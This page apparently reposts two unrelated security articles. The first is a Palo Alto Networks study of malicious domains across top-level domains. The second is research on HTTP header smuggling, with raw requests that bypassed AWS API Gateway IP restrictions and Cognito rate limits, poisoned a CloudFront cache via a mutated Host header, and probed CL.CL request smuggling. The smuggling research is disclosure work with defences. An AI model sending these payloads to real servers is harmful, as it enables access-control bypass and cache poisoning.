A Peek into Top-Level Domains and Cybercrime

A Peek into Top-Level Domains and Cybercrime

Original text by Janos Szurdi

Executive Summary

Top-level domains (TLDs), such as .com, .net, .xxx and .hu, sit at the highest level of the domain name system (DNS) naming hierarchy. When users want to acquire domain names (e.g., paloaltonetworks.com), typically, they need to register them under a TLD directly or one level lower (e.g., google.co.uk). Properties and policies of TLDs such as pricing, registration restrictions, security practices and the lexical similarity to other TLDs (.cm vs .com) influence how attractive criminals will find these TLDs for their endeavors.

Out of more than 1,000 TLDs, the top 25 TLDs (by number of malicious domains) account for more than 90% of all malicious domain names. While these 25 TLDs are not malicious, they are well-positioned to help mitigate malicious domain registrations. We find that TLDs offering free domain registration are among the top preferred TLDs for phishing domains. We hypothesize that the above-mentioned properties and policies play a germane role in making a TLD favorable for criminal enterprises.

When we explore TLDs with the highest rate of malicious domains, we find that six out of the top 10 are TLDs of developing countries. One especially disreputable TLD, .zw, is seven standard deviations above the average rate of malicious domains for a TLD. Surprisingly, we found that .zw and a few other TLDs have a bad reputation, at least partially, because domains in these TLDs are frequently compromised rather than registered with malicious intent. Another example is .pw, with over seven standard deviations above the average rate of phishing registrations. TLD reputation based on our research can be used as one of the features to decide whether a domain name is malicious or not.

Studying domains in TLDs specifically concocted for sensitive topics such as adult and gambling sites, including .xxx, .casino, .poker and .porn, we confirm that they host content expected given their TLDs. Using our External Dynamic List feature, Palo Alto Networks customers have the opportunity to block individual TLDs entirely when they deem them inappropriate, for example, by setting custom wildcard rules (e.g., *.xxx) to block adult and gambling TLDs identified in this blog.

Palo Alto Networks offers multiple security subscriptions, including Advanced URL Filtering and DNS Security, that can be used to block malicious and sensitive category domains, including those discussed in this blog.

Top-Level Domains and the DNS Ecosystem

We start with a brief introduction to the hierarchical structure of the domain name system and why we study top-level domains (TLDs).

The cumulative distribution of top-level domains across TLDs for several categories. The key inidcates a dotted blue line refers to the total, a red line indicates malicious, a pink line signifies malware, purple dashes represent phishing, dotted yellow lines mean C2, green dashes and dots represent grayware and brown dashes are for sensitive domains.

A domain name like unit42.paloaltonetworks.com consists of three parts. The .com part is the top-level domain (TLD), which is at the highest level of the DNS naming hierarchy. Usually, users looking to buy domain names can register under these TLDs. Domain names acquired by users are called registered domains. When Palo Alto Networks Inc. bought the second-level name paloaltonetworks in the .com namespace, it gained ownership of all names under paloaltonetworks.com. Therefore when Palo Alto Networks Inc. decided to form a sub-organization tasked with providing “the answer to the ultimate question of life, the universe and everything,“ it could freely create the third-level domain name unit42In this blog, the numbers presented are based on unique registered domain counts. For example, in the case of www.google.co.uk, we consider the third-level registered domain google.co.uk and not the second-level co.uk or fourth-level www.google.co.uk.

There are two main types of TLDs. Generic TLDs (gTLDs) are owned and operated by private companies or organizations and are regulated by the Internet Corporation for Assigned Names and Numbers (ICANN). Examples of gTLDs include .com, .xxx, and .google. Differently, country code TLDs (ccTLDs) are owned and regulated by countries (though often still operated by private companies). ccTLDs include domains such as .us, .cn, .de and .hu.

Organizations operating TLDs and maintaining records of registered domains directly under TLDs are called registries. These registries do not just manage domain names under TLDs, but in the case of gTLDs, they also determine the policies regarding pricing, necessary identity verification and restrictions on purchasing domain names. These policies impact how much criminals will favor a given TLD for abusive domain registrations. Free or cheap registration and lax policies make TLDs favorable for malicious behavior.

Studying TLDs can provide a better understanding of criminal preferences and where malicious domains reside. TLD reputation can aid us in deciding if a domain is malicious, and can be used to nudge the operators of ill-famed TLDs toward curbing some of the abuse. Additionally, we can identify TLDs created for certain sensitive topics such as adult entertainment and gambling that are best entirely blocked in certain use cases. For example, educational institutions likely want to block both adult and gambling TLDs.

Malicious Domains and TLDs

Methodology

To understand both malicious and benign TLD usage, we use the fine-grained categories provided by our Advanced URL Filtering service. First, we only study domains categorized by the Advanced URL Filtering service, and we only consider registered domains (also called root domains). Additionally, we validate whether domains existed the past one year by checking zone files and passive DNS, and by issuing active DNS queries. We do not consider domains that we categorize as parked, insufficient content or unknown for our calculations. Further, when calculating reputation scores, we don’t consider domains sinkholed for preemptive measures as malicious. Finally, we only consider TLDs with at least a hundred domains, as smaller TLDs likely have policies in place restricting entities allowed to register domain names. This blog post is based on data collected on Oct. 7, 2021.

We study four malicious categories defined by Palo Alto Networks: malware, phishing, command and control (C2), and grayware. When we discuss malicious domains in general, we consider the union of these four malicious categories.

Next to malicious content, we examine domains registered to host sensitive content that might be illegal or inappropriate in a corporate setting, at educational institutions or for governments.

In our recommendations, we propose the blocking of these categories when deemed appropriate by our customers. The list of sensitive categories for the purpose of this blog includes Dynamic DNS, Abused Drugs, Adult, Gambling, Peer-to-Peer, Hacking, Questionable, Cryptocurrency, Proxy Avoidance and Anonymizers, and Copyright Infringement.

TLDs With the Highest Number of Malicious Domains

To study cybercriminals’ TLD preference, we first look at the number of unique malicious domains registered at each TLD. As expected, the direct count of malicious domains will be highest at TLDs such as .com, which is by far the most popular TLD – however, it only has an average ratio of malicious domains. Hence, such big TLDs are not considered malicious, though they still have a huge responsibility since some of them provide a home for a large fraction of all malicious domains. For example, nearly half of malicious domains are .com domains.

The structure of a domain name includes the top-level domain at the very end, the registered domain to the left of it and the third-level subdomain to the left of that. Arrows illustrate the positions of these elements in an example domain name.

In Figure 2, we look at the cumulative distribution of TLDs for the total number of domains registered, various malicious categories and sensitive domains. Having a small area under the curve (a “flat” curve) means that the domains are evenly distributed across TLDs for that category. The total domain line is the flattest curve compared to malicious and sensitive domains, implying that criminals prefer certain TLDs above others. For example, more than 99% of all C2 domains are concentrated at only 29 TLDs. At the same time, 99% of all domains are concentrated at 219 TLDs. Phishing – one of the most evenly distributed malicious categories – shows 99% of phishing domains concentrated at 92 TLDs.

Table 1. The biggest TLDs and their cumulative distribution (CD) for various categories

As mentioned earlier, the .com TLD is responsible for nearly half of all domains registered and subsequently also for nearly half of all malicious domains. This does not mean that the .com TLD is malicious, yet the operator of the .com TLD is uniquely positioned to help with clearing up malicious domain registrations. This is also true for other large TLDs such as .net, .org, .tk, .cn, .icu and .xyz.

In Table 1, we can also observe that TLDs like .pw, .ml, .club, .cf and .top are in the top 10 for certain types of abuse but are not among the top 10 largest TLDs, clearly signaling criminal preference. While the .xyz TLD is barely among the top 10 TLDs by total size, it is second only to the .com TLD in the number of phishing domains and has the highest number of grayware domains accommodated.

Conversely, some large TLDs such as .de and .uk are not present in the top 10 list for any malicious categories. Both of these TLDs have significantly below the average number of malicious domains, showcasing that a dutiful TLD registry can help curb abuse.

Half of the top 10 phishing TLDs are not in the top 10 TLDs by total size, providing evidence that phishers prefer some TLDs over others. By randomly sampling phishing domains at these five TLDs, we observe that they often target the brands of the largest tech companies, such as social networks, payment solutions, secure messaging apps and webmail providers. Phishing domains targeting brands fall into different domain squatting categories that we discussed in our cybersquatting blog post. We also find more generic phishing domains containing words like login, support and account. The third category of phishing domains is related to specific trending topics such as COVID-19. We did a deep dive into COVID-19 related domains when the pandemic was still relatively new.

Furthermore, some ccTLDs such as .pw and .tk have a glaringly high number of malicious domains registered, comparable to the population of these regions – or even higher. The .tk TLD also has more phishing domains registered than the population of Tokelau. If we compare the malicious domain to population ratio (the malicious domain per capita count) of these ccTLDs to Germany’s .de ccTLD, we find ratios that are hundreds or even hundreds of thousands times higher. For example, this ratio is 271,768, 2,373 and 610 times larger, respectively for .tk, .pw and .ws, compared to .de. Considering only phishing domains, the same ratio is 462,098 and 20,286 times larger for .tk and .pw than for .de.

Table 2. Comparing malicious domains and phishing domains per capita to .de, which has a relatively low incidence of malicious domains, to the more commonly abused TLDs .tk, .pw and .ws

One of the most fascinating stories in the domain name world is how .tk, the ccTLD of a small Pacific island called Tokelau, became one of the most populous TLDs in the world. Domain registrations contributed at one point one-sixth of Tokelau’s income. Their TLD became popular by providing free domain registrations, where the source of income for the TLD operator is through advertisement rather than domain registration fees. Unfortunately, their domain registration policy also invites abuse, spam and a large amount of sensitive content, as we can observe in Table 1.

In fact, the TLDs .tk, .ga, .cf and .ml, all run by Freenom, appear on our list of top TLDs hosting phishing, and some of them also appear on our lists of top TLDs for other malicious categories. Freenom’s fifth TLD, .gq, also appears on our top sensitive category list and barely missed the top 10 for malicious categories. Of note, all these ccTLDs are owned by developing countries where the income from registered domains might outweigh the issues arising with malicious registrations. This is in contrast with a TLD like .de, where monetary loss from cybercrime dwarfs the revenue from domain registrations.

In addition to the TLDs offering free registrations, TLDs like .xyz and .icu follow another strategy by offering cheap domains – typically only a couple of dollars. Their pricing strategy has allowed them to become two of the most popular TLDs among benign and malicious users alike.

We confirm previous research showing that free or cheap domain registration leads to a high level of abuse. Additionally, the same paper found that restricted registration leads to a lower abuse rate. Other researchers have tried to devise registration policy strategies to decrease malicious registrations. Unfortunately, the domain naming ecosystem is complex, and far-reaching changes are not likely to occur in the near future.

TLDs With the Highest Rate of Malicious Domains

Table 3. The TLDs hosting the highest rate of malicious domains.

The MAD score is the median of the absolute deviation from the median. As shown in Table 3, we calculate the MAD score for the ratio of malicious to all domains in a TLD. We use the MAD score as a malicious reputation to compare TLDs to the median. MAD score is better to use than standard deviation when large outliers bias the average. For example, the .com TLD appears near average malicious when considering -0.06 standard deviation. However, the MAD score is 0.81, telling us that the .com TLD is more malicious than the median TLD.

In Table 3, we can find that some TLDs have a high proportion of malice, and they are rarely the same as top TLDs by count . A few TLDs have an extremely high ratio of malicious domains, such as .zw, .bd and .ke. The high rate of malice is unexpected for these TLDs, as registering a domain in them is four to 14 times more expensive than registering in the .com TLD. To our surprise, we found that a significant portion of the malicious domains in these TLDs are not registered with malicious intent but are compromised instead. The per capita GDP of these regions is 60 to 30 times lower than that of the U.S., which suggests a lower budget and less expertise for setting up websites in these TLDs. Consequently, we expect lower-quality websites – confirmed by inspecting random samples of domain names – and hence more security holes.

One interesting case is .cm, a top TLD for phishing (No. 12) and grayware (No. 6). We conjecture that criminals prefer .cm for phishing attacks due to its similarity to .com, making domains registered at this TLD less conspicuous in phishing attacks.

Sensitive TLD Categories

Table 4. Top category-specific TLDs for sensitive categories.

Next to malicious content, we at Palo Alto Networks track sensitive or risky categories organizations might want to block. For example, both educational and government institutions often prefer to block adult and gambling sites. Our customers can block entire TLDs using our External Dynamic List feature, such as the sensitive-category-specific TLDs .xxx and .casino.

In Table 4, we can note that several TLDs have a high proportion of domains in sensitive categories. Even though we track many sensitive categories, mostly adult and gambling TLDs made it to our top list of sensitive-category-specific TLDs. Another category frequent at certain TLDs is “Proxy Avoidance and Anonymizers,” common at TLDs such as .gq, .ga, .ml and .tk.

Conclusion

We observe that the vast majority of malicious domains can be found at a handful of TLDs, providing an opportunity to them to help with fighting cybercrime. We also find TLDs many MAD scores above the median, suggesting that we can devise a TLD reputation to help in classifying domain names as malicious or benign. We also confirmed TLDs specific to sensitive categories that our customers can block using our External Dynamic List.

Palo Alto Networks offers multiple security subscriptions, including Advanced URL Filtering and DNS Security, that can be used to block malicious and sensitive category domains, including those discussed in this blog.

Acknowledgements

We want to thank Arun Kumar, Daiping Liu, Erica Naone, Laura Novak and Oleksii Starov for their invaluable input on this blog post.

Practical HTTP Header Smuggling: Sneaking Past Reverse Proxies to Attack AWS and Beyond

Practical HTTP Header Smuggling: Sneaking Past Reverse Proxies to Attack AWS and Beyond

Original text by Daniel Thatcher

Modern web applications typically rely on chains of multiple servers, which forward HTTP requests to one another. The attack surface created by this forwarding is increasingly receiving more attention, including the recent popularisation of cache poisoning and request smuggling vulnerabilities. Much of this exploration, especially recent request smuggling research, has developed new ways to hide HTTP request headers from some servers in the chain while keeping them visible to others – a technique known as «header smuggling». This paper presents a new technique for identifying header smuggling and demonstrates how header smuggling can lead to cache poisoning, IP restriction bypasses, and request smuggling.

Background

A chain of HTTP servers used by a web application can often be modelled as consisting of two components:

  • A «front-end» server which directly handles requests from users. These servers typically handle caching and load balancing, or act as web application firewalls (WAFs).
  • A «back-end» server which the front-end server forwards requests to. This is where the application’s server-side code runs.

This model is often a simplification of reality. There may be multiple front-end and back-end servers, and front-end and back-end servers are often themselves chains of multiple servers. However, this model is sufficient to understand and develop the attacks presented in this article, as well as most of the recent research into attacking chains of servers.

Back-end servers often rely on front-end servers providing accurate information in the HTTP request headers, such as the client’s IP address in the «X-Forwarded-For» header, or the length of the request body in the «Content-Length» header. To provide this information accurately, front-end servers must filter out the values of these headers provided by the client, which are untrusted and cannot be relied upon to be accurate.

Using header smuggling, it is possible to bypass this filtering and send information to the back-end server which it treats as trusted. I will show how this led to bypassing of IP restrictions in AWS API Gateway, as well as an easily exploitable cache poisoning issue. I will then discuss how the methodology used to find these vulnerabilities can also be adapted to safely detect request smuggling based on multiple «Content-Length» headers (CL.CL request smuggling) in black-box scenarios.

Methodology

The method developed by this research to identify header smuggling vulnerabilities determines whether a «mutation» can be applied to a header to allow it to be snuck through to a back-end server without being recognised or processed by a front-end server. A mutation is simply an obfuscation of a header. The following examples are mutated versions of the «Content-Length» header:

Content-Length : 0
Content-Length abcd: 0
Content_Length: 0
[\r]Content-Length: 0

This method relies on the fact that most web servers will return an error when sent a request with an invalid «Content-Length» header:

Request

GET / HTTP/1.1
Host: example.com
Content-Length: z

Response

HTTP/1.1 400 Bad Request
[…]

The methodology also relies on comparing the responses when valid and invalid values are sent in both the regular and a mutated form of the «Content-Length» header. We start by sending valid and invalid values in a regular «Content-Length» header to the target:

Request

GET / HTTP/1.1
Host: example.com
Content-Length: 0

Response

HTTP/1.1 200 OK
Content-Length: 1256
[…]

Request

GET / HTTP/1.1
Host: example.com
Content-Length: z

Response

HTTP/1.1 400 Bad Request
Content-Length: 349
[…]

Since including a junk value in the «Content-Length» header causes a difference in response, we can infer that at least 1 server in the chain is parsing this header.

This server chain allows headers to be smuggled through to the back-end by appending characters after a space in the header name. So, when we substitute «Content-Length» with «Content-Length abcd» in the requests and send the requests again, we get the following results:

Request

GET / HTTP/1.1
Host: example.com
Content-Length abcd: 0

Response

HTTP/1.1 200 OK
Content-Length: 1256
[…]

Request

GET / HTTP/1.1
Host: example.com
Content-Length abcd: z

Response

HTTP/1.1 502 Bad Gateway
Content-Length: 50
[…]

There are three important things to note here when comparing the responses from the regular and the mutated «Content-Length» headers. The first is that an invalid value in each header causes a different response than a valid one does. This indicates that at least one server in the chain is parsing each of these headers as a «Content-Length» header.

Secondly, the same response is returned when a valid value is included in each header:

Request

GET / HTTP/1.1
Host: example.com
Content-Length: 0

Response

HTTP/1.1 200 OK
Content-Length: 1256
[…]

Request

GET / HTTP/1.1
Host: example.com
Content-Length abcd: 0

Response

HTTP/1.1 200 OK
Content-Length: 1256
[…]

This shows that the presence of the mutated header has not prevented either server from parsing the request as normal. This check is important to ensure that the mutation hasn’t invalidated the request entirely.

The final important thing to notice is that an invalid value in each header causes different responses in the mutated header compared to the regular one:

Request

GET / HTTP/1.1
Host: example.com
Content-Length: z

Response

HTTP/1.1 400 Bad Request
Content-Length: 349
[…]

Request

GET / HTTP/1.1
Host: example.com
Content-Length abcd: z

Response

HTTP/1.1 502 Bad Gateway
Content-Length: 50
[…]

This suggests that the errors are likely originating from different servers in the chain. In other words, a front-end server is not parsing our mutated «Content-Length» header as though it is the regular «Content-Length» header, while the back-end server is – we have header smuggling.

Examples

Bypassing Restrictions

AWS API Gateway IP Restrictions

While scanning across bug bounty programs, I noticed that APIs created using AWS API Gateway allowed header smuggling by appending characters to the header name after a space – for example by changing «X-My-Header: test» to «X-My-Header abcd: test». I also noticed that the «X-Forwarded-For» header was being stripped and rewritten by a front-end server.

API Gateway allows you to limit API access to certain IP addresses by using a resource policy such as the following:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "execute-api:Invoke",
            "Resource": "arn:aws:execute-api:eu-west-2:********2087:uiv82new6b/*/*/*"
        },
        {
            "Effect": "Deny",
            "Principal": "*",
            "Action": "execute-api:Invoke",
            "Resource": "arn:aws:execute-api:eu-west-2:********2087:uiv82new6b/*/*/*",
            "Condition": {
                "NotIpAddress": {
                    "aws:SourceIp": [
                        "1.2.3.4",
                        "10.0.0.0/8"
                    ]
                }
            }
        }
    ]
}

This policy limits access to only accept requests from the IP address 1.2.3.4 (which I unfortunately don’t own) and the private range 10.0.0.0/8. Requests originating from other IP addresses are met with an error:

Request

GET /dev/a HTTP/1.1
Host: uiv82new6b.execute-api.eu-west-2.amazonaws.com
[…]

Response

HTTP/1.1 403 Forbidden
Content-Type: application/json
[…]

{"Message":"User: anonymous is not authorized to perform: execute-api:Invoke on resource: arn:aws:execute-api:eu-west-2:********2087:uiv82new6b/dev/GET/a with an explicit deny"}

Unsurprisingly, simply adding the «X-Forwarded-For» header to a request was no match for AWS’ security controls:

Request

GET /dev/a HTTP/1.1
Host: uiv82new6b.execute-api.eu-west-2.amazonaws.com
[…]

Response

HTTP/1.1 403 Forbidden
Content-Type: application/json
X-Forwarded-For: 10.0.0.1
[…]

{"Message":"User: anonymous is not authorized to perform: execute-api:Invoke on resource: arn:aws:execute-api:eu-west-2:********2087:uiv82new6b/dev/GET/a with an explicit deny"}

However, when applying a mutation which allows header smuggling to this header, access was granted:

Request

GET /dev/a HTTP/1.1
Host: uiv82new6b.execute-api.eu-west-2.amazonaws.com
X-Forwarded-For abcd: 10.0.0.1
[…]

Response

HTTP/1.1 201 Created
Content-Type: application/json
[…]

A

This allows IP restrictions to be bypassed, but in practical situations it might be hard to pull off. Addresses from private ranges are obvious guesses, but if those are not allowed then it might be hard to guess an IP address which has been granted access. However, one of the most important things I’ve learnt is to senselessly try stupid things:

Request

GET /dev/a HTTP/1.1
Host: uiv82new6b.execute-api.eu-west-2.amazonaws.com
X-Forwarded-For abcd: z
[…]

Response

HTTP/1.1 201 Created
Content-Type: application/json
[…]

A

It turned out that adding the header «X-Forwarded-For abcd: z» to requests allowed IP restrictions from AWS resource policies to be bypassed in API gateway.

AWS Cognito Rate Limiting

I discovered a similar, but very minor, bug in AWS Cognito during a penetration test. Cognito is an authentication provider which you can integrate into your applications to help handle authentication.

After five requests to the “ConfirmForgotPassword” or “ForgotPassword” targets in a short period of time, my IP address was temporarily blocked. However, adding «X-Forwarded-For:[0x0b]z» to the request allowed 5 more requests to be made. Unfortunately, it wasn’t possible to cycle different values or valid IP addresses in this header keep gaining five more attempts, meaning the impact of this bug is minimal. However, it still acts as a nice example of how header smuggling can be used to bypass rate limiting.

Cache Poisoning

AWS promptly fixed the IP restriction bypass after I reported it to them. When retesting, I noticed that I could still smuggle headers through to the back-end server using the same mutation, leading me to wonder if there were any other interesting headers worth trying.

There are probably some headers that API gateway uses internally which would be interesting, but I was unable to identify any of these. What did stand out as interesting was the «Host» header, and I started to wonder what would happen if I tried to sneak this header through to back-end servers.

I setup two APIs using API Gateway – one «victim» API and one «attacker» API:

Request

GET /message HTTP/1.1
Host: victim.i.long.lat

Response

HTTP/1.1 200 OK
Content-Type: application/json
[…]

{"data":"important","message":"important data returned"}

Request

GET /message HTTP/1.1
Host: attacker.i.long.lat

Response

HTTP/1.1 200 OK
[…]

Poisoned!

The interesting behaviour appeared when including a mutated «Host» header alongside a regular «Host» header:

Request

GET /message HTTP/1.1
Host: victim.i.long.lat
Host abcd: attacker.i.long.lat

Response

HTTP/1.1 200 OK
[…]

Poisoned!

API gateway was returning the response from the API specified in the mutated «Host» header. This is in contrast to the behaviour of most web servers, which will not view the mutated «Host» header as a «Host» header and instead take the host from the regular «Host» header. This becomes interesting when such a server is acting as a cache in front of API gateway, as it will cache the result of the above request as though it was a request for «victim.i.long.lat», even though the response is from the «attacker.i.long.lat» API.

To demonstrate this, I setup CloudFront in front of API Gateway with the «AllViewer» request policy, which causes all headers to be forwarded. Sending the above request, and then requesting «https://victim.i.long.lat/a» shows that the response from the attacker’s API has been stored in the cache for the victim’s API:

Request

GET /message HTTP/1.1
Host: victim.i.long.lat
Host abcd: attacker.i.long.lat

Response

HTTP/1.1 200 OK
[…]

Poisoned!

Request

GET /message HTTP/1.1
Host: victim.i.long.lat

Response

HTTP/1.1 200 OK
Age: 3
[…]

Poisoned!

This cache poisoning is rather easy to exploit as an attacker can setup their own API and return arbitrary content for any path. This allows them to completely overwrite any entry in the victim’s cache, effectively allowing them to completely control the content of the victim’s API.

Request Smuggling

Amit Klein’s Bug

At Black Hat USA 2020 Amit Klein presented a request smuggling based on 2 «Content-Length» headers («CL.CL» request smuggling). The bug could be triggered when Squid was used as a reverse proxy in front of the Abyss web server using the following requests sent in the same connection:

The first request, shown in green, contains two «Content-Length» headers – 1 mutated and the other unmutated. Squid will only parse the unmutated header, and will take the length of the first request’s body to be 33 bytes, which is shown in blue. Squid then takes the second request to be the one shown in red – a «GET» request to «/doesntexist».

Abyss on the other hand will parse both the mutated and unmutated «Content-Length» headers, and takes the values of 0 bytes from the mutated header. It therefore thinks that the second request is the one which starts in blue – a «GET» request to «/a.html».

The total effect of this is that Abyss responds with the content for «/a.html», and Squid caches this response for the path «/doesntexist», giving cache poisoning.

Methodology Background

Klein’s research is particularly interesting as it showed that CL.CL request smuggling exists in modern systems, despite it being a bug that felt almost too simple. Klein worked in a white box scenario to find this vulnerability, though I set out to find a methodology which could detect CL.CL request smuggling in black box scenarios.¹

James Kettle’s research which popularised request smuggling presented a simple methodology for safely detecting request smuggling based on a «Content-Length» and a «Transfer-Encoding» header («CL.TE» and «TE.CL» request smuggling) using timeouts. This methodology attempts to cause the back-end to expect more content than is forwarded by the front-end to trigger a timeout from the back-end. By scanning for CL.TE request smuggling first, it’s possible to minimise the risk of affecting other users’ requests when testing a vulnerable system.

An attempt to do the same with CL.CL request smuggling might look similar to the following:

POST /b.shtml HTTP/1.1
Host: squid01.rslab
Connection: Keep-Alive
Content-Length: 0
Content-Length abcde: 1

z

Against a vulnerable system where the front-end reads the unmutated «Content-Length» header and the back-end reads the mutated version, this will usually cause a timeout. Though in the case of the Squid and Abyss setup, no timeout will be caused as Abyss does not wait for the body to be sent before replying to the «POST» request.

The danger comes when this request is sent to a vulnerable system where the front-end reads the mutated header, and the back-end reads the unmutated version. The front-end server will forward the «z» body, which the back-end server will believe to be the start of the next request. The socket has then been poisoned, and there is a high chance of another user’s request failing due to the backend server seeing the request method as, for example, «zGET»². 

If we don’t know which «Content-Length» header the front-end server is going to parse, we have a 50% chance of causing a timeout in a vulnerable system, and a 50% chance of poisoning the socket, potentially causing another user’s request to fail.

Methodology

The methodology used to detect header smuggling can be modified slightly to create a safe CL.CL request smuggling detection methodology. The following example shows how this modified methodology can be used to detect Klein’s bug in Squid and Abyss.

First, send a «baseline» request to the target system with the pair of «Content-Length» headers which are being tested:

Request

POST /b.shtml HTTP/1.1
Host: squid01.rslab
Connection: Keep-Alive
Content-Length: 0
Content-Length abcd: 0

Response

HTTP/1.1 200 OK
Content-Length: 86
[…]

The next step is to send the same request two times more — once with a junk value in each «Content-Length» header:

Request

POST /b.shtml HTTP/1.1
Host: squid01.rslab
Connection: Keep-Alive
Content-Length: z
Content-Length abcd: 0

Response

HTTP/1.1 411 Length Required
Content-Length: 4213
[…]

Request

POST /b.shtml HTTP/1.1
Host: squid01.rslab
Connection: Keep-Alive
Content-Length: 0
Content-Length abcd: z

Response

HTTP/1.1 400 Bad Request
Content-Length: 338
[…]

Comparing the 3 responses, we notice that:

  • Both the requests containing junk values triggered responses which are different from the baseline response. This indicates that the value of each header is being parsed by at least 1 server.
  • The responses to the requests containing junk values are different. This suggests that the errors are coming from different servers, and therefore different servers in the chain are parsing the different versions of the «Content-Length» header.

These conditions indicate potential CL.CL request smuggling. When moving beyond this point with the investigation it is important to know which header the front-end server is parsing to minimise the chance of poisoning the socket and affecting other users.

This can be achieved by sending a request with a single, unmutated «Content-Length» header, and observing the resulting error:

Request

POST /b.shtml HTTP/1.1
Host: squid01.rslab
Connection: Keep-Alive
Content-Length: z

Response

HTTP/1.1 411 Length Required
Content-Length: 4213
[…]

As the front-end server is almost certainly parsing the «Content-Length» header in this request, the resulting error is likely generated by the front-end server. By comparing this error to the ones generated earlier in the process, we see that it is the same error generated when the headers «Content-Length: z» and «Content-Length abcd: 0» are sent in the same request. Hence, the front-end server is parsing the unmutated «Content-Length» header, and the back-end server the mutated one³. 

These requests only indicate a potential request smuggling vulnerability, though it is far from certain. For example, many servers will process both forms of the «Content-Length» header, but throw an error when they have different values, making request smuggling impossible.

To continue the investigation, timeouts can be a good next step to confirm the behaviour. However, these are not always reliable, and sometimes exploitation attempts will be required.

Exploitation with Turbo Intruder

The exploitation steps from this point are very similar to those used by Kettle in his research. They largely rely on Turbo Intruder scripts which send 1 request to poison the socket, quickly followed by multiple benign requests with the hope that one of these requests is poisoned.

I’ve created a modified version of one of Kettle’s Turbo Intruder scripts which attempts to exploit CL.CL request smuggling to cause a 404 error, which you can find here. This is often the simplest way to confirm request smuggling. A similar script which attempts to trigger cache poisoning can be found here.

These scripts are configured to run against my lab environment using Squid and Abyss, though can easily be modified to target other systems using other mutations. You may find them a useful starting point when trying to exploit CL.CL request smuggling in other systems.

Tooling

Once a mutation which allows header smuggling has been identified, the next step is to find an interesting header to sneak through to the back-end. Sometimes you may know a header you wish try, however, there is often no obvious choice. To assist with this second case, as well as to help find mutations which lead to header smuggling, I am releasing a fork of James Kettle’s Param Miner Burp Suite extension, which can be found here.

This fork adds two new pieces of functionality. The first is a scan which uses the methodology I’ve described to identify mutations which lead to header smuggling. The second is an option when guessing headers which will cause the extension to automatically identify header smuggling mutations, and then also guess headers using these mutations.

Defences

Defending against these types of bugs can be somewhat complicated as they rely on differences in implementations between web servers, rather than a specific flaw in 1 web server. One of the main defences is to scan your systems with the fork of Param Miner released as part of this research to try and identify any vulnerabilities.

Front-end servers should avoid forwarding weirdly formatted headers. This is the approach being taken by AWS with API gateway – including writing tests to validate this behaviour. This also prevented Cloudflare from being used in the cache poisoning example, as they do not forward any headers with a space in the name.

There is a concept known as «Postel’s Law» which states that you should «be liberal in what you accept, and conservative in what you send» when dealing with protocols such as HTTP. While the idea of being liberal in parsing HTTP requests may be beneficial to front-end servers, which receive requests from a multitude of different clients which each contain their own quirks, some setups may allow back-end servers to be stricter. If the front-end server filters or normalises a request before it is forwarded, the back-end server should not be exposed to quirks form a wide range of clients. Instead, handling of these quirks can be entrusted entirely to the front-end server, and the back-end server only has to accept requests from one client – the front-end server.

Conclusion

While often considered to be just a tool for request smuggling, header smuggling can produce interesting behaviours and vulnerabilities when considered in its own right. The methodology and tooling developed for this research makes identifying header smuggling and resulting vulnerabilities easier. This research has shown how header smuggling can be used to bypass restrictions and to achieve cache poisoning, though there are likely many more vulnerabilities waiting to be found. 

I have also demonstrated a methodology for safely identifying CL.CL request smuggling in black-box scenarios, and released Turbo Intruder scripts to aid in exploiting CL.CL request smuggling.

Thanks

I would like to thank the AWS security team, and in particular Dan Urson, for their response to the vulnerabilities found during this research. The disclosure process has been incredibly smooth, and they’ve worked very fast to resolve the vulnerabilities considering the scale of their infrastructure.

Footnotes

1. Trying to detect CL.CL request smuggling was the origin of this research project.

2. Some scanning with zgrab suggests that this risk can be minimised, though not completely eliminated, by making the body a CRLF which most web servers will discard from the start of a request.

3. You may notice that this logic can be used to make timeout-based detections safe for CL.CL request smuggling. As some vulnerable setups, including the Squid and Abyss setup, will not produce a timeout, I chose to use the purely error-based approach presented here.